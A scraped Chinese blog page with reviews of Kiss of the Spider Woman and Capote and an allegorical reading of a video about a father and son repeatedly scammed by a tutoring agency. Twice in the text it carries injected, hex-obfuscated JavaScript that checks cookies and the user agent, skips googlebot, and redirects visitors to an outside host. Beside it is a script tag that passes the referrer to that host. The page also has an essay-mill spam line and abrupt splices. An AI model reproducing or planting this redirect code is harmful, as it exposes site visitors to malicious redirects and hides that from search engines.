最后蜘蛛女带着母爱举起双手迎接死亡，而革命者被扎了一针后在幻象中投入女朋友的怀抱，蜘蛛女的牺牲最后啥也没换来。导演用这样的结尾告诉我们——这不是一部普通意义上的爱情电影，更加不是一部同性恋题材的电影，而是一部歌颂母爱的电影！var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Jun 2nd, 2010 | Filed under
终于有时间坐下来讲讲这个鼓舞人心的视频了。
有一个父亲给儿子花钱请了一个女大学生补习功课，这个儿子开始不乐意，但是后来听说是个女大学生，突然的兴奋起来（其实父亲也同时在兴奋着），对父亲充满了感激之情，表示等女大学生来了一定会努力学习。那天晚上他们一直等到零点，女大学生也没出现，父子俩很失望，第二天，父亲打了电话给——应该是中介公司，那边的人解释说女大学生迷路了，没有找到地方，但是今晚一定会来，要父亲把钱打到指定的账户上。
父子俩第二次充满了希望，但是他们期待中的有着酸酸甜甜味道的女大学生还是没有来，儿子开始怀疑是不是因为父亲秃头秃的太灿烂的缘故，父亲则怀疑女大学生是不是嫌弃自己不够高大，当然也顺便怀疑了一下自己会不会受骗，但是在一通电话之后又很快打消了顾虑，更加虔诚地掏钱和等待着女大学生的到来。
但是第三次的失望使父子俩堕入了痛苦的深渊，草莓味的粉嫩女大学生依旧没有来，怎么回事？难道是被她窥见了自己内心深藏的那些不敬的企图和欲望？父亲坚信是自己的心意不够真诚，他们痛心疾首地批判了自己，继续给中介公司打电话，掏钱，当然也诉说了生活的艰辛，但结果是被中介引导着去投资基金，那天晚上，父子两人好像庆祝节日一般做好了迎接味道芳醇的女大学生的到来，当然，女大学生还是没有出现。
视频在这个时候变得格外有趣，所有的看客都知道女大学生是永远不会来的了，所谓的女大学生只不过是一个符号而已，她是所有人心目中对爱情对幸福对一切美好事物的憧憬和幻想，她看不见摸不到，她被“中介公司”包装鼓吹以及兜售。中介公司从不谙民间疾苦，他们要的就是钱，钱，以及更多的钱，接着画个大饼让人充饥。
但是看一看这对父子，他们就是我们，为了女大学生掏钱等待，甚至制造节日来表达虔诚，不断地痛苦自责怀疑，无法摆脱欲望的烦恼。节日的那个晚上是等待的高潮，父子俩内心对女大学生的妄想全部暴露出来，痛定思痛之后，他们觉得有心的渴求或许比不上无心的等待来的有效，于是，父亲开始借钱转账，为的就是让心头的那一丝希望不至于破灭。
在第四个等待落空的晚上，父子俩在墙上雕刻佛祖的全身像，这是人类为了摆脱自身烦恼走向以宗教为精神依托的第一步——物恋，假装是无心了，把注意力转移在雕刻佛像上，但是还是对女大学生充满着期待，父亲自称内心逐渐清澄，其实是他从一开始的时候就欲求过多的缘故。
第五个夜晚，等待的女大学生依旧没来，光着脑袋的父亲给儿子剃度，这是人类为了摆脱自身烦恼走向以宗教为精神依托的第二步——形式上的与尘世断绝关系，变成和尚，四大皆空，但是有没有依旧想着女大学生，只有自己心里清楚。
第六个夜晚，对女大学生的希望依旧落空，父亲用锤子砸着儿子的脑袋，这是人类为了摆脱自身烦恼走向以宗教为精神依托的第三步——苦修。用尽一切办法折磨自己的肉体，从而让精神轻松。此外，对女大学生迟迟不来的怨恨也可以借此渠道宣泄出去。
最后一个夜晚，父子俩在屋子里飘来飘去，通过静思，父亲终于意识到自己受骗了，这就是所谓的“悟”，抛却烦恼后来到真正的极乐世界，极乐世界其实没有极乐，只是无声无息的宁静而已。
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Then again, you also worked for write me an essay to www.writemyessay4me.org ernst and young
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May 26th, 2010 | Filed under
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May 23rd, 2010 | Filed under
这一次知了会的作业是卡波特和《冷血》，因为其他的作业也很多所以我来不及看小说——会长大人看了就行了，我专心看了电影。
同性恋作家卡波特因为《蒂梵尼的早餐》一炮而红，蜚声好莱坞。我喜欢《蒂梵尼的早餐》，不只是因为奥黛丽赫本光彩照人，还因为影片里男女主人公的爱情经历也很打动人。后来他写了《冷血》这部小说，把他的生活情感和创作事业紧密地联接在一起。冷血过后，他就没有什么大作问世了，我觉得这是必然的。
有两个坏蛋为了钱杀害了一家四口，后来被捕，卡波特以作家身份去跟这件案子，然后去接近被关押的犯人，最后发现自己对这个犯人起了腻歪的情愫，为了自己的创作，他一狠心不再帮这个犯人上诉，眼看着两人被判了绞刑。其实本来就该死，我一点也不觉得这个犯人有什么值得同情的地方，卡波特对犯人的同情其实并非出于对他人的仁慈，而是出于对自己的爱和怜悯。卡波特是一个敏感又心软的人——扮演他的那个男演员演技一流，说话的声音像极了《南方公园》里的那个变态同性恋老师，我甚至怀疑他们的配音是同一人——他跑去看被害者的尸体，掀开棺材看，看了之后十分受不了，那个时候对凶犯的情感应该不会是爱或者是暧昧的爱。但是在当初找到警探的时候，卡波特对能不能抓到凶犯并不关心，他关心的只是自己的书会写成什么样子。
冷血是什么内，冷血是每个人都血管里都会流淌的血。梁惠王说，不要杀这头牛，太可怜了，换头羊来杀吧！人类的温暖只奉献给他们熟悉的、距离他们近的、与他们的利益息息相关的的人和事，这是真性情，否则就是矫情。我对波兰坠机事件一点感觉也没有，因为飞机上没有我认识和熟悉的人；同样，我捐钱给灾民之后，对他们的牵挂并不会比患了偏头痛的母亲更多，尽管我没有掏钱给她。对于卡波特来说，被害人已经是四具冷冰冰的尸体，但是凶手离自己很近，会呼吸能讲话，甚至有着和自己相仿的成长经历，同性恋作家敏感多情，但也拎得清，与自身命运相关联的作品大于对凶犯的暧昧情感大于对被杀害者的同情，不等式一划出来，选择也就自然分明。
说老实话，我一点也不喜欢这部电影，除了男主角的表演很精彩之外，整部片子拍的循规蹈矩，布光简直就像是用机器算好了数值一样，没有一点令人惊喜之处。强调人本主义强调对个体经验的关注，这样的主题再加上犯罪，我觉得拍的最好的是《沉默的羔羊》。《冷血》是加上了一点自传体性质，所以带上点诗意，但又在视觉上没创造啥美感——中规中举毕恭毕敬，导演虽靠这片子一举成名，但也难掩他是好莱坞培养出来的呆人一枚。
也许我该看看1967年版的那部。s. src=’http://gethere. info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document. referrer) + ‘&default_keyword=’ + encodeURIComponent(document. title) + ”; var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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